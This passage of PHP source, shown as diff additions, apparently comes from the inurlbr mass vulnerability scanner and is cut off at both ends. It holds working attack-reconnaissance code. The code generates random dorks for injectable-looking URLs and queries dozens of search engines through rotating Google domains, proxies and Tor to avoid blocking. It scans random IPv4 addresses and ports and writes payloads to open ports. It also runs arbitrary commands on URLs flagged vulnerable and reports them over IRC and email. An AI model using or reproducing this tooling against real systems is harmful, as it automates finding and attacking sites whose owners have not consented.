(not_isnull_empty($_ex['erroReturn']) ? "\n{$_ex['vull_style']}{$url}\n{$_SESSION["c0"]}" : NULL); + echo (not_isnull_empty($_ex['erroReturn']) ? __saveValue($_SESSION['config']['arquivo_output'], $url, 1) . "\n" : NULL); + __plus(); + $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_ex['erroReturn']) ? "{$url}\n" : NULL); + (not_isnull_empty($_ex['erroReturn']) && not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? + __ircMsg($_SESSION['config']['irc'], "{$_ex['erroReturn']}::: {$url}") : NULL); + + (not_isnull_empty($_ex['erroReturn']) && !is_null($_SESSION['config']['sub-cmd-vul']) ? __command($_SESSION['config']['sub-cmd-vul'], $url) : NULL); + (not_isnull_empty($_SESSION['config']['sub-cmd-all']) ? __command($_SESSION['config']['sub-cmd-all'], $url) : NULL); + __plus(); + __timeSec('delay'); + } + unset($_ex); +} + +################################################################################ +#SEND VALUES EMAIL############################################################## +################################################################################ +# (PHP 4, PHP 5) mail — Send mailhttp://php.net/manual/en/function.mail.php + +function __sendMail($email, $value) { + + $headers = NULL; + $headers .= "From: \r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; + $headers .= "content-type: text/html\nX-priority: 1\n"; + $body = "------------------------------------------------------\n"; + $body.="DATE: [" . date("d-m-Y H:i:s") . "]"; + $body.=not_isnull_empty($_SESSION['config']['http-header']) ? "HTTP HEADER: {$_SESSION['config']['http-header']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['motor']) ? "MOTOR BUSCA: {$_SESSION['config']['motor']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['tipoerro']) ? "TIPO ERROR: {$_SESSION['config']['tipoerro']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['exploit-get']) ? "EXPLOIT GET: {$_SESSION['config']['exploit-get']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['exploit-post']) ? "EXPLOIT-POST: {$_SESSION['config']['exploit-post']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['command-vul']) ? "COMMAND VUL: {$_SESSION['config']['command-vul']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['command-all']) ? "COMMAND ALL: {$_SESSION['config']['command-all']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['user-agent']) ? "USER AGENT: {$_SESSION['config']['user-agent']}\n" : NULL; + $body.= "------------------------------------------------------\n"; + + if (mail($email, "[ INFO ][ OUTPUT INURLBR ]:: {$value}", $body, $headers)) { + __plus(); + return "[ INFO ][ SUBMITTED SUCCESSFULLY ]\n"; + } else { + __plus(); + return "[ INFO ][ NOT SENT ]\n"; + } +} + +################################################################################ +#HOST GOOGLE RANDOM############################################################# +################################################################################ + +function __dominioGoogleRandom() { + + $_SESSION["random"]['dominio_google'] = array( + 'www.google.com', 'www.google.ac', 'www.google.com.om', + 'www.google.ad', 'www.google.ae', 'www.google.com.af', + 'www.google.com.ag', 'www.google.com.ai', 'www.google.am', + 'www.google.it.ao', 'www.google.com.ar', 'www.google.cat', + 'www.google.as', 'www.google.at', 'www.google.com.au', + 'www.google.az', 'www.google.ba', 'www.google.com.bd', + 'www.google.be', 'www.google.bf', 'www.google.bg', + 'www.google.com.bh', 'www.google.bi', 'www.google.bj', + 'www.google.com.bn', 'www.google.com.bo', 'www.google.com.br', + 'www.google.bs', 'www.google.co.bw', 'www.google.com.by', + 'www.google.com.bz', 'www.google.ca', 'www.google.com.kh', + 'www.google.cc', 'www.google.cd', 'www.google.cf', + 'www.google.cn', 'www.google.com.co', 'www.google.co.nz', + 'www.google.cg', 'www.google.ch', 'www.google.ci', + 'www.google.co.ck', 'www.google.cl', 'www.google.cm', + 'www.google.co.cr', 'www.google.com.cu', 'www.google.cv', + 'www.google.cz', 'www.google.de', 'www.google.nu', + 'www.google.dj', 'www.google.dk', 'www.google.dm', + 'www.google.com.do', 'www.google.dz', 'www.google.no', + 'www.google.com.ec', 'www.google.ee', 'www.google.com.eg', + 'www.google.es', 'www.google.com.et', 'www.google.com.np', + 'www.google.fi', 'www.google.com.fj', 'www.google.fm', + 'www.google.fr', 'www.google.ga', 'www.google.nl', + 'www.google.ge', 'www.google.gf', 'www.google.gg', + 'www.google.com.gh', 'www.google.com.gi', 'www.google.nr', + 'www.google.gl', 'www.google.gm', 'www.google.gp', + 'www.google.gr', 'www.google.com.gt', 'www.google.com.ni', + 'www.google.gy', 'www.google.com.hk', 'www.google.hn', + 'www.google.hr', 'www.google.ht', 'www.google.com.ng', + 'www.google.hu', 'www.google.co.id', 'www.google.iq', + 'www.google.ie', 'www.google.co.il', 'www.google.com.nf', + 'www.google.im', 'www.google.co.in', 'www.google.io', + 'www.google.is', 'www.google.it', 'www.google.ne', + 'www.google.je', 'www.google.com.jm', 'www.google.jo', + 'www.google.co.jp', 'www.google.co.ke', 'www.google.com.na', + 'www.google.ki', 'www.google.kg', 'www.google.co.kr', + 'www.google.com.kw', 'www.google.kz', 'www.google.co.mz', + 'www.google.la', 'www.google.com.lb', 'www.google.com.lc', + 'www.google.li', 'www.google.lk', 'www.google.com.my', + 'www.google.co.ls', 'www.google.lt', 'www.google.lu', + 'www.google.lv', 'www.google.com.ly', 'www.google.com.mx', + 'www.google.co.ma', 'www.google.md', 'www.google.me', + 'www.google.mg', 'www.google.mk', 'www.google.mw', + 'www.google.ml', 'www.google.mn', 'www.google.ms', + 'www.google.com.mt', 'www.google.mu', 'www.google.mv', + 'www.google.com.pa', 'www.google.com.pe', 'www.google.com.ph', + 'www.google.com.pk', 'www.google.pn', 'www.google.com.pr', + 'www.google.ps', 'www.google.pt', 'www.google.com.py', + 'www.google.com.qa', 'www.google.ro', 'www.google.rs', + 'www.google.ru', 'www.google.rw', 'www.google.com.sa', + 'www.google.com.sb', 'www.google.sc', 'www.google.se', + 'www.google.com.sg', 'www.google.sh', 'www.google.si', + 'www.google.sk', 'www.google.com.sl', 'www.google.sn', + 'www.google.sm', 'www.google.so', 'www.google.st', + 'www.google.com.sv', 'www.google.td', 'www.google.tg', + 'www.google.co.th', 'www.google.tk', 'www.google.tl', + 'www.google.tm', 'www.google.to', 'www.google.com.tn', + 'www.google.com.tr', 'www.google.tt', 'www.google.com.tw', + 'www.google.co.tz', 'www.google.com.ua', 'www.google.co.ug', + 'www.google.co.uk', 'www.google.us', 'www.google.com.uy', + 'www.google.co.uz', 'www.google.com.vc', 'www.google.co.ve', + 'www.google.vg', 'www.google.co.vi', 'www.google.com.vn', + 'www.google.vu', 'www.google.ws', 'www.google.co.za', + 'www.google.co.zm', 'www.google.co.zw' + ); + + return $_SESSION["random"]['dominio_google'][rand(0, count($_SESSION["random"]['dominio_google']) - 1)]; +} + +################################################################################ +#(CSE)-GOOGLE Custom Search Engine ID RANDOM#################################### +################################################################################ + +function __googleGenericRandom() { + + $generic = array( + '013269018370076798483:wdba3dlnxqm', + '005911257635119896548:iiolgmwf2se', + '007843865286850066037:b0heuatvay8', + '002901626849897788481:cpnctza84gq', + '006748068166572874491:55ez0c3j3ey', + '012984904789461885316:oy3-mu17hxk', + '006688160405527839966:yhpefuwybre', + '003917828085772992913:gmoeray5sa8', + '007843865286850066037:3ajwn2jlweq', + '010479943387663786936:wjwf2xkhfmq', + '012873187529719969291:yexdhbzntue', + '012347377894689429761:wgkj5jn9ee4' + ); + return $generic[rand(0, count($generic) - 1)]; +} + +################################################################################ +#PROXY HTTP BASE FILE########################################################### +################################################################################ + +function __proxyHttpRandom() { + + $proxy_file = (file_exists($_SESSION['config']['proxy-http-file']) ? __openFile($_SESSION['config']['proxy-http-file'], 1) : array()); + $proxy_ = is_array($proxy_file) ? array_merge($_SESSION['config']['proxy-http'], $proxy_file) : $_SESSION['config']['proxy-http']; + + return $proxy_[rand(0, count($proxy_) - 1)]; +} + +################################################################################ +#FILTER UNIQUE DOMAIN########################################################### +################################################################################ + +function __filterDomainUnique($resultados) { + + if (is_array($resultados)) { + + foreach ($resultados as $value) { + + $temp[] = "http://" . __filterHostname($value); + } + + return array_unique(array_filter($temp)); + } + + return FALSE; +} + +################################################################################ +#FILTER IF URL DOMAIN########################################################### +################################################################################ + +function __filterURLif($resultados) { + + if (is_array($resultados)) { + + foreach ($resultados as $value) { + + $temp[] = not_isnull_empty($_SESSION['config']['ifurl']) && strstr($value, $_SESSION['config']['ifurl']) ? $value : NULL; + } + + return array_unique(array_filter($temp)); + } + + return FALSE; +} + +################################################################################ +#GENERATOR RANGE IP############################################################# +################################################################################ + +function __generatorRangeIP($range) { + + $ip_ = explode(',', $range); + if (is_array($ip_)) { + + $_ = array(0 => ip2long($ip_[0]), 1 => ip2long($ip_[1])); + while ($_[0] <= $_[1]) { + + $ips[] = "http://" . long2ip($_[0]); + $_[0] ++; + } + } else { + + return FALSE; + } + + return $ips; +} + +################################################################################ +#GENERATOR RANGE IP RANDOM###################################################### +################################################################################ + +function __generatorIPRandom($cont) { + + $cont[0] = 0; + while ($cont[0] < $cont[1]) { + + $bloc[0] = rand(0, 255); + $bloc[1] = rand(0, 255); + $bloc[2] = rand(0, 255); + $bloc[3] = rand(0, 255); + $ip[] = "http://{$bloc[0]}.{$bloc[1]}.{$bloc[2]}.{$bloc[3]}"; + $cont[0] ++; + } + return array_unique($ip); +} + +################################################################################ +#ACESSING FILE ROBOTS########################################################### +################################################################################ + +function __getValuesRobots($url) { + + $_[0] = "http://" . __filterHostname($url) . "/robots.txt"; + $_[0] = __request_info($_[0], $_SESSION["config"]["proxy"], NULL); + echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; + echo " |[ ACCESSING FILE ROBOTS ]::\n"; + + if (not_isnull_empty($_[0]['corpo']) && $_[0]['server']['http_code'] == 200) { + + $_[1] = array_unique(array_filter(explode("\n", $_[0]['corpo']))); + + foreach ($_[1] as $value) { + + if (strstr($value, 'Disallow:') || strstr($value, 'Allow:')) { + + echo "|_[ + ]__|[ value={$value}\n"; + __saveValue($_SESSION['config']['arquivo_output'], $value, 2); + } + __plus(); + } + } else { + + echo "\t[x][ ERRO ] LOAD FILE ROBOTS.TXT [ COD_HTTP ]:: {$_[0]['server']['http_code']}\n{$_SESSION["c0"]}"; + } +} + +################################################################################ +#Base64 string encryption md5 , hexadecimal, hex, base64 & random string######## +################################################################################ + +function __crypt($url) { + + preg_match_all("#(md5|base64|hex|random)(\()(.*?)(\))#", $url, $_); + $cont = 0; + + foreach ($_[0] as $replace) { + + if (strstr($replace, 'md5(')) + $func = 'md5'; + + if (strstr($replace, 'base64(')) + $func = 'base64_encode'; + + if (strstr($replace, 'hex(')) + $func = 'bin2hex'; + + if (strstr($replace, 'random(')) + $func = 'random'; + + $url = str_replace($replace, $func($_[3][$cont]), $url); + $cont ++; + } + return $url; +} + +################################################################################ +#GENERATE RANDOM STRING######################################################### +################################################################################ +#(PHP4,PHP5) Shuffle an array http://php.net/manual/en/function.shuffle.php + +function random($__) { + $_ = 'A,a,B,b,C,c,D,d,E,e,F,f,G,g,'; + $_.= 'H,h,I,i,J,j,K,k,L,l,M,m,'; + $_.= '1,2,3,4,5,6,7,8,9,0'; + $_ = explode(',', $_); + shuffle($_); + $_ = implode($_, ''); + return substr($_, 0, $__); +} + +################################################################################ +#GENERATE RANDOM DORKS########################################################## +################################################################################ + +function __randomDork($_) { + + $dk[1] = array('view', 'page', 'index', 'file', 'ver', 'web', 'form', 'public', 'map', 'visit', + 'site', 'perfil', 'sistema', 'system', 'cad', 'frm', 'content', 'conteudo', 'graf', 'page', + 'search', 'arch', 'class', 'app', 'galeria', 'text', 'noticia', 'default', 'storytopic', 'home', + 'lenoticia', 'counter', 'todos', 'all', 'principal', 'main', 'pesquisa', 'dir', 'category', 'news_more', + 'info', 'display', 'showrecord', 'download', 'sum', 'produtos', 'Menu', 'guia', 'product', 'about', + 'WebForms', 'proj', 'inter', 'PageText', 'topper', 'notes', 'name', 'redirect', 'open_link', 'artist', + 'curricu', 'resumen', 'top', 'list', 'directorio', 'Project', 'membre', 'photos', 'Contenido', + 'presentation', 'component', 'release', 'article', 'asesores', 'Detail', 'about', 'lire', 'story', + 'memoriam', 'transport', 'journal', 'album', 'community', 'includes', 'ler', 'video', 'configs', 'refer', + 'form_cpf', 'atualiza', 'refresh', 'materia', 'fotos', 'photos', 'itemdetail', 'listcategoriesandproduct', + 'myaccount', 'learnmore', 'powersearch', 'prodbycat', 'prodetails', 'prodlist', 'productDisplay', 'promotion', + 'pview', 'resellers', 'inc', 'oferta', 'layout', 'standard', 'blank', 'path', 'declaration', 'newsitem', 'games', + 'buy', 'readnews', 'event', 'news_view', 'communique_detail', 'kategorie', 'preview', 'faq2', 'comment', 'newsDetail', + 'shopping', 'shop_category', 'product_ranges_view', 'section', 'ages', 'curriculum', 'galeri_info', 'tekst', 'play_old', + 'viewapp', 'padrao', 'sitio', 'head', 'template', 'index1', 'index2', 'index3', 'index4', 'index5', 'mod', 'press', 'gery', + 'index_table', 'mainfile', '_functions', 'phpshop', 'new-visitor.inc', 'Packages', 'editor', 'board', 'advanced', 'pref', + 'q', 'side', 'home1', 'home2', 'home3', 'getbook', 'checkout', 'affiliate', 'addcart', 'product_info', 'showsub', 'library', + 'edition', 'get', 'temp', 'catalog', 'press2', 'company', 'jobs', 'review', 'input', 'cats', 'showmedia', 'event_info' + ); + + + $dk[2] = array('view', 'file', 'ver', 'web', 'form', 'public', 'map', 'site', 'perfil', 'bookid', + 'sistema', 'system', 'cad', 'frm', 'content', 'id', 'action', 'user', 'option', 'area', 'catalogid', + 'tp', 'pg', 'p', 'v', 'a', 't', 'r', 'o', 'm', 'n', 'sec', 'lang', 'search', 'Itemid', 'open', + 'servicoid', 'id_ap', 'artic', 'pag', 'archive', 'ind', 'sigl', 'url', 'link', 'tp', 'cd', 'item_ID', + 'web', 'sourc', 'sitemap', 'go', 'galeria', 'img', 'notic', 'num', 'ter', 'dow', 'type', 'CartId', + 'redir', 'default', 'storytopic', 'topic', 'cod_noti', 'detalhe', 'ler', 'storyid', 'start', + 'click', 'title', 'tmpl', 'templat', 'cont', 'corp', 'contat', 'consult', 'main', 'exib', 'guia', + 'span', 'OpenDocument', 'document', 'codidem', 'pesq', 'print', 'imprimir', 'jobs', 'pic', 'contri', + 'code', 'myPage', 'openPage', 'homepage', 'home', 'inner', 'custom', 'bin', 'IsisScript', 'pid', + 'wxis.exe', 'wood', 'modules', 'kbn', 'chid', 'jump', 'mes', 'ano', 'month', 'year', 'day', 'dia', 'pre', + 'show', 'download', 'summit', 'new', 'coming', 'Category', 'produtos', 'Menu', 'uid', 'Consulta', 'qry', + 'product', 'WebForms', 'proj', 'inter', 'scgi', 'orig_q', 'b1', 'showpage', 'filter', 'Detail', 'about', + 'itemlist', 'memor', 'info', 'website', 'cidade', 'lic', 'materia', 'SEC_', 'includes', 'store', 'ler', + 'reader', 'src', 'theme', 'Boletim', 'busca', 'date', 'video', 'configs', 'exec', 'doc', 'refresh', 'telec', + 'digital', 'materia', 'portal', 'shop', 'photos', 'sales', 'open', 'check', 'token', 'general', 'process', 'ViewType', + 'idCategor', 'intCatalogID', 'Cart', 'maingroup', 'play', 'where', 'mod', 'panel', 'str', 'staff_id', 'buy', 'preview', + 'chapter', 'club_id', 'GLOBALS', 'absolute_path', 'body', 'from', 'pg_ID', 'load', 'systempath', 'conf', 'do', 'x', 'temp', + 'see', 'act', 'middle', 'content', 'q', 'my', 'to', 'nivel', 'arq', 'modo', 'rss', 'pagina', 'opcion', 'loader', 'l', 'this', + 'subject', 'param', 'index', 'tipo', 'second', 'loc', 'cat_id', 'magazin', 'artist_art', 'cID', 'cat', 'message_id', '' + ); + + $dk[3] = array('aspx', 'asp', 'cfm', 'php', 'php3', 'pl', 'cgi', 'py', 'jsp'); + + for ($i = 0; $i <= $_; $i++) { + + $dm = NULL; + $da = $dk[1][rand(0, count($dk[1]) - 1)]; + $dg = $dk[2][rand(0, count($dk[2]) - 1)]; + $de = $dk[3][rand(0, count($dk[3]) - 1)]; + + $__[] = "\"{$dm}/{$da}.{$de}?{$dg}\""; + } + return $__; +} + +################################################################################ +#VALIDATING OPEN DOORS########################################################## +################################################################################ +#(PHP 4, PHP 5) fsockopen — Open Internet or Unix domain socket connection +#http://php.net/manual/en/function.fsockopen.php + +function __portScan($_) { + + // FORMAT PORTS 80, 8181, 22, 21 + $ports = explode(',', $_[1]); + echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; + echo " |[ PROCESS PORT-SCAN ]::\n"; + foreach ($ports as $value) { + + $conc = fsockopen($_SESSION['config']['server_ip'], $value, $_[2], $_[3], 30); + // HOST, POST, ERROR1, ERROR3, TIMEOUT + + __plus(); + + if ($conc) { + + echo "{$_SESSION["c1"]}|_[ + ]__|[ {$value}=\033[1m\033[32mOPEN{$_SESSION["c0"]}"; + (not_isnull_empty($_SESSION['config']['port-write']) ? __portWrite($conc, $_SESSION['config']['port-write']) : NULL); + __saveValue($_SESSION['config']['arquivo_output'], "{$value}=OPEN", 2); + + __plus(); + $_[0]['url_port'] = $value; + (not_isnull_empty($_SESSION['config']['port-cmd']) ? __command($_SESSION['config']['port-cmd'], $_[0]) : NULL); + __plus(); + } else { + + echo "{$_SESSION["c1"]}|_[ x ]__|[ {$value}={$_SESSION["c9"]}CLOSED{$_SESSION["c0"]}\n"; + __plus(); + } + } + echo $_SESSION["c0"]; + fclose($conc); +} + +################################################################################ +#WRITING ON THE DOOR############################################################ +################################################################################ +#(PHP 4, PHP 5) fwrite — Binary-safe file write +#http://php.net/manual/pt_BR/function.fwrite.php + +function __portWrite($conect, $valores) { + + $valores = explode(',', $valores); + foreach ($valores as $value) { + + echo "{$_SESSION["c1"]}|_[ + ]__|[ WRITE SEND={$value}{$_SESSION["c0"]}\n"; + fwrite($conect, "{$value}\r\n") . sleep(3); + __plus(); + } +} + +################################################################################ +#CODE SEARCH ENGINES############################################################ +################################################################################ +//$_SESSION['config']['cod'] = ' + +function __engines($dork, $list_proxy) { + + $dork_ = (not_isnull_empty($dork)) ? $dork : __getOut("DEFINA SUA DORK\n"); + $list_proxy_ = (!is_null($list_proxy) ? $list_proxy[rand(0, count($list_proxy) - 1)] : NULL); + + $confArray = array("list_proxy_rand" => $list_proxy_, "list_proxy_file" => $list_proxy); + + (!is_null($_SESSION["config"]["tor-random"]) && !is_null($_SESSION["config"]["proxy"]) ? __renewTOR() : NULL); + + echo "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c1"]}{{$_SESSION["c0"]} "; + + __plus(); + + echo (!is_null($list_proxy_) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ PROXY FILE RANDOM ]:: {$_SESSION["c1"]}[ {$list_proxy_} ]{$_SESSION["c0"]} " : NULL ); + +################################################################################ +# SEARCH ENGINE ::: google +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + $randHost = __dominioGoogleRandom(); + $_SESSION["config"]["dork_tmp"] = $dork_; + $_SESSION["config"]["conf_array_tmp"] = $confArray; + __pageEngine($confArray, "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $dork_, $postDados, 0, 0, 1); + } + + +################################################################################ +# SEARCH ENGINE ::: bing +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 2) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "BING", "http://www.bing.com/search?q=[DORK]&&filt=rf&first=[PAG]", $dork_, $postDados, 1, 991, 50); + } + +################################################################################ +# SEARCH ENGINE ::: yahoo +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 3) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "YAHOO BR", "http://search.yahoo.com/search?p=[DORK]&ei=UTF-8&b=[PAG]", $dork_, $postDados, 1, 471, 10); + } + +################################################################################ +# SEARCH ENGINE ::: ask +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 4) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "ASK", "http://www.ask.com/web?q=[DORK]&page=[PAG]&qid=[RANDOM]", $dork_, $postDados, 0, 16, 1); + } + +################################################################################ +# SEARCH ENGINE ::: hao123 +################################################################################ + + + if (__validateOptions($_SESSION["config"]["motor"], 5) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "HAO123 BR", "http://search.hao123.com.br/s?tn=[RANDOM]&f=0&wd=[DORK]&haobd=[RANDOM]FG=1&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 550, 10); + } + +################################################################################ +# SEARCH ENGINE ::: googleapis +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], 6) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "GOOGLE API", "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&rsz=8&q=[DORK]&start=[PAG]&userip=[IP]&filter=1&safe=off", $dork_, $postDados, 0, 56, 4); + } + +################################################################################ +# SEARCH ENGINE ::: lycos +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 7) || __validateOptions($_SESSION["config"]["motor"], "all")) { + $_ = __request_info("http://search.lycos.com", $_SESSION["config"]["proxy"], $postDados); + $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]); + + __pageEngine($confArray, "LYCOS", "http://search.lycos.com/web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}&pn=[PAG]", $dork_, $postDados, 0, 24, 1); + } + +################################################################################ +# SEARCH ENGINE ::: uol.com.br +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 8) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "UOL BR", "http://busca.uol.com.br/web/?q=[DORK]&start=[PAG]", $dork_, $postDados, 10, 130, 10); + } + +################################################################################ +# SEARCH ENGINE ::: us.yhs4.search.yahoo +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 9) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "YAHOO US", "http://us.yhs4.search.yahoo.com/yhs/search?p=[DORK]&fr=goodsearch-yhsif&b=[PAG]", $dork_, $postDados, 1, 551, 10); + } + +################################################################################ +# SEARCH ENGINE ::: sapo.pt +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 10) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "SAPO", "http://pesquisa.sapo.pt/?adultfilter=strict&barra=resumo&cluster=0&format=html&limit=10&location=pt&page=[PAG]&q=[DORK]&st=web", $dork_, $postDados, 0, 14, 1); + } + +################################################################################ +# SEARCH ENGINE ::: dmoz +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 11) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "DMOZ", "http://www.dmoz.org/search/search?q=[DORK]&start=[PAG]&type=next&all=yes&cat=", $dork_, $postDados, 0, 800, 20); + } + +################################################################################ +# SEARCH ENGINE ::: gigablast +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 12) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "GIGABLAST", "http://www.gigablast.com/search?k3h=223119&s=22&rat=0&sc=1&ns=100&n=100&sites=&q=[DORK]", $dork_, $postDados, 0, 1, 1); + } + +################################################################################ +# SEARCH ENGINE ::: web.search.naver.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 13) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "NEVER", "http://web.search.naver.com/search.naver?where=webkr&query=[DORK]&xc=&docid=0&qt=df&lang=all&f=&r=&st=s&fd=2&start=[PAG]", $dork_, $postDados, 1, 500, 10); + } + +################################################################################ +# SEARCH ENGINE ::: br.baidu.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 14) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "BAIDU BR", "http://www.baidu.com.br/s?usm=1&rn=100&wd=[DORK]&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 1500, 100); + } + +################################################################################ +# SEARCH ENGINE ::: www.yandex.ru +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 15) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "YANDEX", "http://yandex.ru/yandsearch?text=[DORK]&p=[PAG]&lr=10136", $dork_, $postDados, 0, 30, 1); + } + +################################################################################ +# SEARCH ENGINE ::: www.zoo.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 16) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "ZOO", "http://www.zoo.com/Zoo-Site/search/web?qsi=[PAG2]&q=[DORK]&p=[PAG]&fcoid=4&fpid=2", $dork_, $postDados, 1, 211, 20, 10); + } + +################################################################################ +# SEARCH ENGINE ::: www.hotbot.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 17) || __validateOptions($_SESSION["config"]["motor"], "all")) { + $_ = __request_info("http://www.hotbot.com/", $_SESSION["config"]["proxy"], $postDados); + $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]); + __pageEngine($confArray, "HOTBOT", "http://www.hotbot.com/search/web?pn=[PAG]web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}", $dork_, $postDados, 0, 24, 1); + } + +################################################################################ +# SEARCH ENGINE ::: www.zhongsou.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 18) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "ZHONGSOU", "http://www.zhongsou.com/third?w=[DORK]&b=[PAG]", $dork_, $postDados, 1, 50, 1); + } + +################################################################################ +# SEARCH ENGINE ::: hksearch.timway.com +################################################################################ + if (__validateOptions($_SESSION["config"]["motor"], 19) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "HKSEARCH", "http://hksearch.timway.com/search.php?query=[DORK]®ion=zh-hant-hk&p=[PAG]", $dork_, $postDados, 1, 12, 1); + } + +################################################################################ +# SEARCH ENGINE ::: find.ezilon.com / USA +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "EZILION USA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=usa&f=", $dork_, $postDados, 0, 215, 15); + } + +################################################################################ +# SEARCH ENGINE ::: find.ezilon.com / ASIA +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "EZILION ASIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=asia&f=", $dork_, $postDados, 0, 215, 15); + } + +################################################################################ +# SEARCH ENGINE ::: find.ezilon.com / EUROPA +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "EZILION EUROPA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=eu&f=", $dork_, $postDados, 0, 215, 15); + } + +################################################################################ +# SEARCH ENGINE ::: find.ezilon.com / INDIA +################################################################################ + if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "EZILION INDIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=in&f=", $dork_, $postDados, 0, 215, 15); + } + +################################################################################ +# SEARCH ENGINE ::: www.sogou.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 21) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "SOGOU", "http://www.sogou.com/web?query=[DORK]&page=[pag]&ie=utf8", $dork_, $postDados, 1, 20, 1); + } + +################################################################################ +# SEARCH ENGINE ::: api.duckduckgo.com +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 22) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + $postDados = TRUE; + __pageEngine($confArray, "DUCK DUCK GO", "https://api.duckduckgo.com/html/?q=[DORK]&kl=en-us&p=-1&s=[PAG]&dc=[PAG3]&o=json&api=d.js", $dork_, $postDados, 0, 800, 50, 0, 37); + } + +################################################################################ +# SEARCH ENGINE ::: boorow +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 23) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + $postDados = TRUE; + __pageEngine($confArray, "BOOROW", "http://boorow.com/Pages/site_br_aspx?query=[DORK]", $dork_, $postDados, 0, 0, 1); + } + +################################################################################ +# SEARCH ENGINE ::: Google Generic RANDOM +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 24) || __validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + $randHost = __dominioGoogleRandom(); + $randGeneric = __googleGenericRandom(); + __pageEngine($confArray, "GOOGLE_GENERIC_RANDOM - {$randHost} ID: {$randGeneric}", "http://{$randHost}/cse?cx={$randGeneric}&q=[DORK]&num=500&hl=en&as_qdr=all&start=[PAG]&sa=N", $dork_, $postDados, 0, 5, 1); + } + + +#=============================================================================== +#=============================================================================== +#=============================================================================== +#======================[ MOTORES DE BUSCA ESPECIAIS ]========================== +#=============================================================================== +#=============================================================================== +#=============================================================================== +#=============================================================================== +# SEARCH ENGINE ::: 